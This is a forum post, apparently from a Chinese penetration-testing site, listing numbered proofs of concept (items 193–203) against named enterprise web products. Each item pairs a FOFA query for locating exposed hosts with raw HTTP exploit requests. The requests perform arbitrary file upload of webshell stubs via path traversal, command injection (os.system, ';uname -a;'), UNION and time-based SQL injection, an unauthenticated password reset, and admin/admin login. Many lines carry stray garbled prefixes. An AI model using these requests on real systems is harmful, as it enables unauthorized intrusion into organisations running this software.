% `' j0 p) N6 v; q3 {6 V; o. JFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
# x& H& @/ C9 j; F% ^" `7 uHost: your-ip
: U+ K) E' T( RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) C  c3 n- t7 e$ Q( h% w* D2 XContent-Type: application/x-www-form-urlencoded
8 f. j' }. g% I3 G# k

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
: y" a" ]( Z. D7 G% B. t3 C! xpublic class AverageHandler : IHttpHandler
' M3 t6 k: d! h  `{
public bool IsReusable
) o- S# Q4 v8 G1 p7 a, {- Z$ d2 F{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
' Z4 D" b3 i3 q: Y6 T  Hctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" J$ z1 c: |- o: qFOFA：body="山石云鉴主机安全管理系统"
7 y4 R" _9 {$ Y$ N; I0 W1 m' SGET /master/ajaxActions/getTokenAction.php HTTP/1.1
$ \% `0 F# @, f& p$ }Host:
( m% a1 Q; B! X; @Cookie: PHPSESSID=2333333333333;
; j7 W0 B) x9 J1 TContent-Type: application/x-www-form-urlencoded
4 Y2 K6 E, ^& }) u" }; f  ]User-Agent: Mozilla/5.0
$ }  K% M, [+ J- l: v" n/ O
/ ?) w( J3 y( O9 Q% Y# s+ @
* b$ A/ j/ G/ R- bPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
" j8 F' y; U1 V9 A, hHost:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
* Z  N4 U$ A  {% N1 ^1 m/ a0 [Connection: close
Cookie: PHPSESSID=2333333333333;
& i0 m( [. h* FContent-Type: application/x-www-form-urlencoded
Content-Length: 84
3 |& N/ E1 |; n% J5 r
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
" h* O0 a% o; l( `6 M
7 \9 k3 c$ L8 c) j' C! i
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
" f+ D' i3 V; @3 P5 ^% K& N
. v7 L) }& X9 A, n/ x
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

3 `5 {. s( }( Q; V8 p1 PPOST /servlet/uploadAttachmentServlet HTTP/1.1
4 m0 d* g; m8 L7 ]$ G& }Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  a& g7 G. N( w% m' ]6 M( zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  l$ U( p& y& u- D- T% j) N! WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( {( u2 U0 ]4 Y( _Accept-Encoding: gzip, deflate
Connection: close
# Z4 P- Q' R* H+ T0 b: ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

) O) ~0 v( D+ i7 p* VContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
, d9 M& T7 H2 T1 X2 h" C! H<% out.println("hello");%>
2 h* M% t2 I8 @( t& V# k------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
6 J2 S. d+ V/ w" B  v$ @/ ^5 V {"iq":{"query":{"UpdateType":"mail"}}}
1 O- P3 K8 f$ L9 r7 t; r: `% Y------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
" U" f7 v0 ^0 i1 O, z. s
% c3 _3 ]4 @# n$ K+ t3 x
9 e% N) j8 d+ u. N5 I" X195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
1 T4 E4 K: Y, b& T5 A; O( oCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* R& o5 z$ Y4 d0 {1 o" wAccept: */*
$ ?8 k( Y, S" C, A$ a$ GAccept-Encoding: gzip, deflate
& W/ r7 A8 ^* Y6 K* FAccept-Language: zh-CN,zh;q=0.9
Connection: close
* z- w1 E9 u1 x' j/ v* fContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
8 Z' ]& F/ }  ]( j  V" {9 j# ~& D  _- g  L
$ g4 l0 l. p) y3 ?7 @
196. 河南省风速科技统一认证平台密码重置
6 O% ~2 a9 Z" [8 iFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
: x2 E1 ^7 {- `0 Y7 |POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
5 o' N. d; \( L7 |' }Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
0 Y; `" ]1 `$ q  |6 ?0 ^! q
{"xgh":"test","newPass":"test666","email":""}


) Z$ ]0 p9 `( g6 Z1 ^7 g$ Z
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ C; Q. @9 \" j8 M7 f* E4 w5 RFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
0 S* t- w4 d2 ~" e! m4 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 [/ Z7 @* m) Q% `3 MAccept-Encoding: gzip, deflate
$ t0 d0 p: y0 u8 Q- g0 yConnection: close



198.  阿里云盘 WebDAV 命令注入
! h6 V+ S) J/ j& j. x/ UCVE-2024-29640
+ Z( A5 A! l1 y$ U& ~& KGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
+ W; T1 i3 g9 o$ AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
/ y6 A* Y& N2 o
" [  m6 i! w/ M2 h2 {  u1 u  m2 p
0 i2 g% H+ `7 X' Y( J5 N9 T199. cockpit系统assetsmanager_upload接口 文件上传

' z# k9 l( Z4 l7 F, x& Y( `1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
* U- G3 ~: ^% a( Z& K8 J+ H! N! ]' QGET /auth/login?to=/ HTTP/1.1

& {5 P  p0 t+ d% f9 d1 Z- w) C9 P响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

' G6 Y) |/ D) G% N8 M2.使用刚才上一步获取到的jwt获取cookie：
' a* W8 N. m. i( u
5 ]& |* U7 F5 ]9 V# J+ g9 PPOST /auth/check HTTP/1.1
# j/ G1 n' b+ j1 M. qContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

$ W# q' V  Q- w( ?! x6 }7 d( I响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
! @3 E% W) Y; g7 U$ f/ ?" [1 dContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
: c  D' T5 Z  E/ @3 e  C, hCookie: mysession=95524f01e238bf51bb60d77ede3bea92

$ D* B+ E$ [0 i7 m4 g( J' D-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
9 J, y5 f+ e/ p7 qContent-Type: text/php
, _8 c# K" a6 @$ Y2 w
<?php echo "tttt";unlink(__FILE__);?>
! z' `. K9 W) A, G-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
  k" ^7 ]" `& p# l2 _
200. SeaCMS海洋影视管理系统dmku SQL注入
8 v( M- N/ B! ]1 R# SFOFA：app="海洋CMS"
, x+ Q& p0 {2 Z4 @$ q. x* \" oGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
; h4 C) E: |! N1 a( b4 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 `' u: K+ |0 H- F# hAccept-Encoding: gzip, deflate
6 x3 Y; J. w5 ~& H3 yAccept-Language: zh-CN,zh;q=0.9
5 J3 i" m7 G7 q9 y
2 W" @$ G. [8 o# {6 [2 N% P% g
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
. z" i2 v% ~4 R' B2 YPOST /newsedit/newsplan/task/binary.do HTTP/1.1
$ o5 B& |9 d: n+ `! \, U! e, ^Content-Type: application/x-www-form-urlencoded
/ W* w) ?9 F+ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 A' }* J1 E) }$ n1 D) eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 P7 \7 y4 X; Z
/ A7 l9 z( j/ b" Y4 }- `8 lTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

( S2 ]% E+ e" k. H: }; K
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
! a& n; ]1 ~- x; z! V1 L. @1 qGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
* G. a* |4 m* SContent-Length: 0
" e, l, r9 \5 p( Q8 x7 f$ \* ]! T

替换__VIEWSTATE和__EVENTVALIDATION值
8 w. Y& O9 x: s) V5 mPOST /User/AccountEdit.aspx HTTP/1.1
* J) x7 u, y  \: [9 C4 FAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
9 c5 ~- ]  \9 k1 ^
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
, h5 y: a2 J" G: d, tContent-Disposition: form-data; name="__EVENTVALIDATION"
5 O* j# i  E4 n" M  e
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
/ F& I. V  B' {3 ^# b0 @Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
3 c( i8 W( p( t$ w( i# ^
上传图片
-----------------------------786435874t38587593865736587346567358735687
. K/ I8 x  u$ WContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
5 h4 {& Q) G9 Y4 M. Z, ]# u% a* \
( h: }- h8 ]; \: O3 ]7 G: V
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
, T) [5 z# z7 ^( W

. C4 u# r' C: W) N-----------------------------786435874t38587593865736587346567358735687--
8 G9 e8 B" Q( d  o
, |" g% q6 K/ c
/_data/Uploads/1123.txt
$ ^  y. q# ]$ K) a" Z& Z2 ]( I) p
203. 红海云EHR PtFjk 文件上传
/ `! p7 [% R. ^3 mFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
) Y! U" l- Q- vHost: x.x.x.x
- f6 w" @! {+ fAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
/ k9 m% ~6 \$ n9 @Content-Length: 210

5 ?7 ?- {, n/ [------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
. K# B% f0 _2 u5 l6 aContent-Type:image/jpeg

<% out.print("hello,eHR");%>
  g/ A' q& D6 X4 E------WebKitFormBoundaryt7WbDl1tXogoZys4--

+ D3 x+ m5 {% ]" B& d/ {5 y
, ?2 j$ T$ c$ g/ A, B% W

8 c4 M* k+ a# B: g/ z
# W' M& b" V' F( m
0 }* d; U; ]' a

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2